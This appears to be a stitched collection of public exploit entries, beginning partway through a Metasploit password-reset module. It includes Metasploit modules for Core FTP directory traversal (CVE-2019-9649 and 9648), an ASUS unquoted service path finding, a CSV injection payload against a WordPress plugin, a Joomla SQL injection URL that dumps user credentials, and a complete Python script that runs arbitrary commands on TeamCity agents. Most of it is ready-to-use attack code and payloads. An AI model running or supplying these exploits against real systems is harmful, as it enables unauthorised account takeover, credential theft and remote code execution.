'data' => "userId=#{datastore["USERNAME"]}"
})
if res.code == 200 and res.body.include? '"mobileMask"'
print_good("Excellent! password resettable for #{datastore["USERNAME"]}")
else
fail_with(Failure::NotVulnerable, 'The user you specified is not valid')
end
begin
res = send_request_cgi({
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'getverificationcode.jsp'),
'headers' =>
{
'Referer' => "#{peer}/verification.jsp"
},
'data' => "userId=#{datastore["USERNAME"]}"
})
@cookie = res.get_cookies
res = send_request_cgi({
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'getresult.jsp'),
'cookie' => @cookie,
'headers' =>
{
'Referer' => "#{peer}/verification.jsp"
},
'data' => "userId=#{datastore["USERNAME"]}&password=#{datastore["PASSWORD"]}"
})
if res.body.include? 'result":10'
print_good("boom! Password successfully reseted.")
print_good("Username : #{datastore["USERNAME"]}")
print_good("Password : #{datastore["PASSWORD"]}")
else
fail_with(Failure::BadConfig, "Unknown error while resetting the password. Response: #{res.code}")
end
end
end
end
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def proto
'ftp'
end
def initialize
super(
'Name' => 'CVE-2019-9649 CoreFTP FTP Server Version 674 and below MDTM Directory Traversal',
'Description' => %q{An issue was discovered in the SFTP Server component in Core FTP 2.0 Build 674. Using the MDTM FTP command, a remote attacker can use a directory traversal (..\..\) to browse outside the root directory to determine the existence of a file on the operating system, and the last mofidied date.},
'Author' => [ 'Kevin Randall' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2019-9649' ],
[ 'BID', '107449' ],
[ 'URL', 'https://www.coreftp.com/forums/viewtopic.php?f=15&t=4022509' ]
],
'Disclosure Date:' => 'March 13 2019'
)
register_options([
Opt::RPORT(21),
OptString.new('FILENAME', [true, "Name of file to search on remote server", 'nslookup.exe'] ),
OptString.new('PATHTRAVERSAL', [true, "Traversal path Note: Default Drive used is C: ", "\\..\\..\\..\\..\\"] ),
OptString.new('PATHTOFILE', [ true, 'local filepath to the specified file. Please add double slashes for escaping', 'Windows\\System32\\'] )
])
end
def run_host(ip)
print_status("Logging into FTP server now with supplied credentials")
c = connect_login
return if not c
print_status("Performing exploitation of the MDTM command to enumerate files")
path = datastore['PATHTRAVERSAL'] + datastore['PATHTOFILE'] + "\\" + datastore['FILENAME']
res = send_cmd( ['MDTM', "C: ", path ], true, nsock = self.sock)
data = res.to_s
print_status("Performing analysis.... Please wait")
if (data.include? "213" )
print_good ("And the circle hits the square!")
print_good ("File Exists. Here is the last modified date for the file:"+ data[4..-1])
return res
else
print_error("Mission Failed We'll get them next time!")
print_error ("Something went wrong or the file does not exist. Please check your variables PATHTRAVERSAL and PATHTOFILE (please escape double backslash) or verify file extension as it may be incorrect")
return res
end
end
end
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def proto
'ftp'
end
def initialize
super(
'Name' => 'CVE-2019-9648 CoreFTP FTP Server Version 674 and below SIZE Directory Traversal',
'Description' => %q{An issue was discovered in the SFTP Server component in Core FTP 2.0 Build 674. A directory traversal vulnerability exists using the SIZE command along with a \..\..\ substring, allowing an attacker to enumerate file existence based on the returned information},
'Author' => [ 'Kevin Randall' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2019-9648' ],
[ 'BID', '107446' ],
[ 'URL', 'https://www.coreftp.com/forums/viewtopic.php?f=15&t=4022509' ]
],
'Disclosure Date:' => 'March 13 2019'
)
register_options([
Opt::RPORT(21),
OptString.new('FILENAME', [true, "Name of file to search on remote server", 'nslookup.exe'] ),
OptString.new('PATHTRAVERSAL', [true, "Traversal path Note: Default Drive used is C: ", "\\..\\..\\..\\..\\"] ),
OptString.new('PATHTOFILE', [ true, 'local filepath to the specified file. Please add double slashes for escaping', 'Windows\\System32\\'] )
])
end
def run_host(ip)
print_status("Logging into FTP server now with supplied credentials")
c = connect_login
return if not c
print_status("Performing exploitation of the SIZE command to enumerate files")
path = datastore['PATHTRAVERSAL'] + datastore['PATHTOFILE'] + "\\" + datastore['FILENAME']
res = send_cmd( ['SIZE', "C: ", path ], true, nsock = self.sock)
data = res.to_s
print_status("Performing analysis.... Please wait")
if (data.include? "213" )
print_good ("And the circle hits the square!")
print_good ("File Exists. Here is the filesize:"+ data[4..-1])
return res
else
print_error("Mission Failed We'll get them next time!")
print_error ("Something went wrong or the file does not exist. Please check your variables PATHTRAVERSAL and PATHTOFILE (please escape double backslash) or verify file extension as it may be incorrect")
return res
end
end
end
# Exploit Title: ASUS AXSP 1.02.00 - 'asComSvc' Unquoted Service Path
# Discovery by: Roberto Piña
# Discovery Date: 2020-03-10
# Vendor Homepage: https://www.asus.com/
# Software Link :https://dlcdnets.asus.com/pub/ASUS/misc/utils/AISuite3_Win10_H97M-Pro_V10102.zip?_ga=2.170180192.1334401606.1583873755-790266082.1583873755
# Tested Version: 1.02.00
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Home x64 en
# Step to discover Unquoted Service Path:
C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "asComSvc" | findstr /i /v """
ASUS Com Service asComSvc C:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe Auto
C:\>sc qc asComSvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: asComSvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : ASUS Com Service
DEPENDENCIES : RpcSs
SERVICE_START_NAME : LocalSystem
#Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path
# undetected by the OS or other security applications where it could potentially be executed during
# application startup or reboot. If successful, the local user's code would execute with the elevated
# privileges of the application.
# Exploit Title: Wordpress Plugin Search Meter 2.13.2 - CSV Injection
# Google Dork: N/A
# Date: 2020-03-10
# Exploit Author: Daniel Monzón (stark0de)
# Vendor Homepage: https://thunderguy.com/semicolon/
# Software Link: https://downloads.wordpress.org/plugin/search-meter.2.13.2.zip
# Version: 2.13.2
# Tested on: Windows 7 x86 SP1
# CVE : N/A
There is a CSV injection vulnerability in the Export function of the Search Meter plugin version
1) First we introduce the payload in the search bar in Wordpress
=cmd|' /C notepad'!'A1'
2) Then we go to http://127.0.0.1/wordpress/wp-admin/index.php?page=search-meter%2Fadmin.php and export the CSV file
3) After that we open the file in Excel, and import data from an external file, using comma as separator
4) Payload gets executed
Tested on Windows 7 Pro SP1 32-bit, Wordpress 5.3.2 and Excel 2016
# Exploit Title: Joomla! Component com_newsfeeds 1.0 - 'feedid' SQL Injection
# Date: 2020-03-10
# Author: Milad Karimi
# Software Link:
# Version:
# Category : webapps
# Tested on: windows 10 , firefox
# CVE : CWE-89
# Dork: inurl:index.php?option=com_newsfeeds
index.php?option=com_newsfeeds&view=categories&feedid=[sqli]
Example:
http://[site]/index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--
# Exploit Title: TeamCity Agent XML-RPC 10.0 - Remote Code Execution
# Date: 2020-03-20
# Exploit Author: Dylan Pindur
# Vendor Homepage: https://www.jetbrains.com/teamcity/
# Version: TeamCity < 10.0 (42002)
# Tested on: Windows 10 (x64)
# References:
# https://www.exploit-db.com/exploits/45917
# https://www.tenable.com/plugins/nessus/94675
#
# TeamCity Agents configured to use bidirectional communication allow the execution
# of commands sent to them via an XML-RPC endpoint.
#
# This script requires the following python modules are installed
# pip install requests
#
#!/usr/local/bin/python3
import requests
import sys
# region tc7
teamcity_7_req = """
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>buildAgent.runBuild</methodName>
<params>
<param>
<value>
<![CDATA[
<AgentBuild>
<myBuildId>123456</myBuildId>
<myBuildTypeId>x</myBuildTypeId>
<myCheckoutType>ON_AGENT</myCheckoutType>
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
<myServerParameters class="tree-map">
<no-comparator/>
<entry>
<string>system.build.number</string>
<string>0</string>
</entry>
</myServerParameters>
<myVcsRootOldRevisions class="tree-map">
<no-comparator/>
</myVcsRootOldRevisions>
<myVcsRootCurrentRevisions class="tree-map">
<no-comparator/>
</myVcsRootCurrentRevisions>
<myAccessCode/>
<myArtifactDependencies/>
<myArtifactPaths/>
<myBuildTypeOptions/>
<myFullCheckoutReasons/>
<myPersonalVcsChanges/>
<myUserBuildParameters/>
<myVcsChanges/>
<myVcsRootEntries/>
<myBuildRunners>
<jetbrains.buildServer.agentServer.BuildRunnerData>
<myRunType>simpleRunner</myRunType>
<myRunnerName>x</myRunnerName>
<myRunnerParameters class="tree-map">
<no-comparator/>
<entry>
<string>script.content</string>
<string>{SCRIPT}</string>
</entry>
<entry>
<string>teamcity.step.mode</string>
<string>default</string>
</entry>
<entry>
<string>use.custom.script</string>
<string>true</string>
</entry>
</myRunnerParameters>
<myServerParameters class="tree-map">
<no-comparator/>
<entry>
<string>teamcity.build.step.name</string>
<string>x</string>
</entry>
</myServerParameters>
</jetbrains.buildServer.agentServer.BuildRunnerData>
</myBuildRunners>
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
<myBuildFeatures/>
</AgentBuild>
]]>
</value>
</param>
</params>
</methodCall>
""".strip()
# endregion
# region tc8
teamcity_8_req = """
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>buildAgent.runBuild</methodName>
<params>
<param>
<value>
<![CDATA[
<AgentBuild>
<myBuildId>123456</myBuildId>
<myBuildTypeId>x</myBuildTypeId>
<myCheckoutType>ON_AGENT</myCheckoutType>
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
<myServerParameters class="tree-map">
<entry>
<string>system.build.number</string>
<string>0</string>
</entry>
</myServerParameters>
<myAccessCode/>
<myArtifactDependencies/>
<myArtifactPaths/>
<myBuildTypeOptions/>
<myFullCheckoutReasons/>
<myPersonalVcsChanges/>
<myUserBuildParameters/>
<myVcsChanges/>
<myVcsRootCurrentRevisions class="tree-map"/>
<myVcsRootEntries/>
<myVcsRootOldRevisions class="tree-map"/>
<myBuildRunners>
<jetbrains.buildServer.agentServer.BuildRunnerData>
<myId>x</myId>
<myIsDisabled>false</myIsDisabled>
<myRunType>simpleRunner</myRunType>
<myRunnerName>x</myRunnerName>
<myChildren class="list"/>
<myServerParameters class="tree-map">
<entry>
<string>teamcity.build.step.name</string>
<string>x</string>
</entry>
</myServerParameters>
<myRunnerParameters class="tree-map">
<entry>
<string>script.content</string>
<string>{SCRIPT}</string>
</entry>
<entry>
<string>teamcity.step.mode</string>
<string>default</string>
</entry>
<entry>
<string>use.custom.script</string>
<string>true</string>
</entry>
</myRunnerParameters>
</jetbrains.buildServer.agentServer.BuildRunnerData>
</myBuildRunners>
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
<myBuildFeatures/>
</AgentBuild>
]]>
</value>
</param>
</params>
</methodCall>
""".strip()
# endregion
# region tc9
teamcity_9_req = """
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>buildAgent.runBuild</methodName>
<params>
<param>
<value>
<![CDATA[
<AgentBuild>
<myBuildId>123456</myBuildId>
<myBuildTypeId>x</myBuildTypeId>
<myBuildTypeExternalId>x</myBuildTypeExternalId>
<myCheckoutType>ON_AGENT</myCheckoutType>
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
<myServerParameters class="StringTreeMap">
<k>system.build.number</k>
<v>0</v>
</myServerParameters>
<myAccessCode/>
<myArtifactDependencies/>
<myArtifactPaths/>
<myBuildFeatures/>
<myBuildTypeOptions/>
<myFullCheckoutReasons/>
<myPersonalVcsChanges/>
<myUserBuildParameters/>
<myVcsChanges/>
<myVcsRootCurrentRevisions class="tree-map"/>
<myVcsRootEntries/>
<myVcsRootOldRevisions class="tree-map"/>
<myBuildRunners>
<jetbrains.buildServer.agentServer.BuildRunnerData>
<myId>x</myId>
<myIsDisabled>false</myIsDisabled>
<myRunType>simpleRunner</myRunType>
<myRunnerName>x</myRunnerName>
<myChildren class="list"/>
<myServerParameters class="tree-map">
<entry>
<string>teamcity.build.step.name</string>
<string>x</string>
</entry>
</myServerParameters>
<myRunnerParameters class="tree-map">
<entry>
<string>script.content</string>
<string>{SCRIPT}</string>
</entry>
<entry>
<string>teamcity.step.mode</string>
<string>default</string>
</entry>
<entry>
<string>use.custom.script</string>
<string>true</string>
</entry>
</myRunnerParameters>
</jetbrains.buildServer.agentServer.BuildRunnerData>
</myBuildRunners>
</AgentBuild>
]]>
</value>
</param>
</params>
</methodCall>
""".strip()
# endregion
# region tc10
teamcity_10_req = """
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>buildAgent.runBuild</methodName>
<params>
<param>
<value>
<![CDATA[
<AgentBuild>
<myBuildId>123456</myBuildId>
<myBuildTypeId>x</myBuildTypeId>
<myBuildTypeExternalId>x</myBuildTypeExternalId>
<myCheckoutType>ON_AGENT</myCheckoutType>
<myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
<myVcsSettingsHashForAgentCheckout>123456</myVcsSettingsHashForAgentCheckout>
<myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
<myServerParameters class="StringTreeMap">
<k>system.build.number</k>
<v>0</v>
</myServerParameters>
<myAccessCode/>
<myArtifactDependencies/>
<myArtifactPaths/>
<myBuildFeatures/>
<myBuildTypeOptions/>
<myFullCheckoutReasons/>
<myParametersSpecs class="StringTreeMap"/>
<myPersonalVcsChanges/>
<myUserBuildParameters/>
<myVcsChanges/>
<myVcsRootCurrentRevisions class="tree-map"/>
<myVcsRootEntries/>
<myVcsRootOldRevisions class="tree-map"/>
<myBuildRunners>
<jetbrains.buildServer.agentServer.BuildRunnerData>
<myId>x</myId>
<myIsDisabled>false</myIsDisabled>
<myRunType>simpleRunner</myRunType>
<myRunnerName>x</myRunnerName>
<myChildren class="list"/>
<myServerParameters class="tree-map">
<entry>
<string>teamcity.build.step.name</string>
<string>x</string>
</entry>
</myServerParameters>
<myRunnerParameters class="tree-map">
<entry>
<string>script.content</string>
<string>{SCRIPT}</string>
</entry>
<entry>
<string>teamcity.step.mode</string>
<string>default</string>
</entry>
<entry>
<string>use.custom.script</string>
<string>true</string>
</entry>
</myRunnerParameters>
</jetbrains.buildServer.agentServer.BuildRunnerData>
</myBuildRunners>
</AgentBuild>
]]>
</value>
</param>
</params>
</methodCall>
""".strip()
# endregion
def prepare_payload(version, cmd):
if version == 7:
return teamcity_7_req.replace("{SCRIPT}", "cmd /c {}".format(cmd))
elif version == 8:
return teamcity_8_req.replace("{SCRIPT}", "cmd /c {}".format(cmd))
elif version == 9:
return teamcity_9_req.replace("{SCRIPT}", "cmd /c {}".format(cmd))
elif version == 10:
return teamcity_10_req.replace("{SCRIPT}", "cmd /c {}".format(cmd))
else:
raise Exception("No payload available for version {}".format(version))
def send_req(host, port, payload):
headers = {
"Content-Type": "text/xml"
}
url = "http://{}:{}/".format(host, port)
r = requests.post(url, headers=headers, data=payload)
if r.status_code == 200 and 'fault' not in r.text:
print('Command sent successfully')
else:
print('Command failed')
print(r.text)
if len(sys.argv) != 4:
print('[!] Missing arguments')
print('[ ] Usage: {} <target> <port> <cmd>'.format(sys.argv[0]))
print("[ ] E.g. {} 192.168.1.128 9090 'whoami > C:\\x.txt'".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2])
cmd = sys.argv[3]
version = input("Enter TeamCity version (7,8,9,10): ")
version = int(version.strip())
if version not in [7, 8, 9, 10]:
print("Please select a valid version (7,8,9,10)")
sys.exit(1)
payload = prepare_payload(version, cmd)
send_req(target, str(port), payload)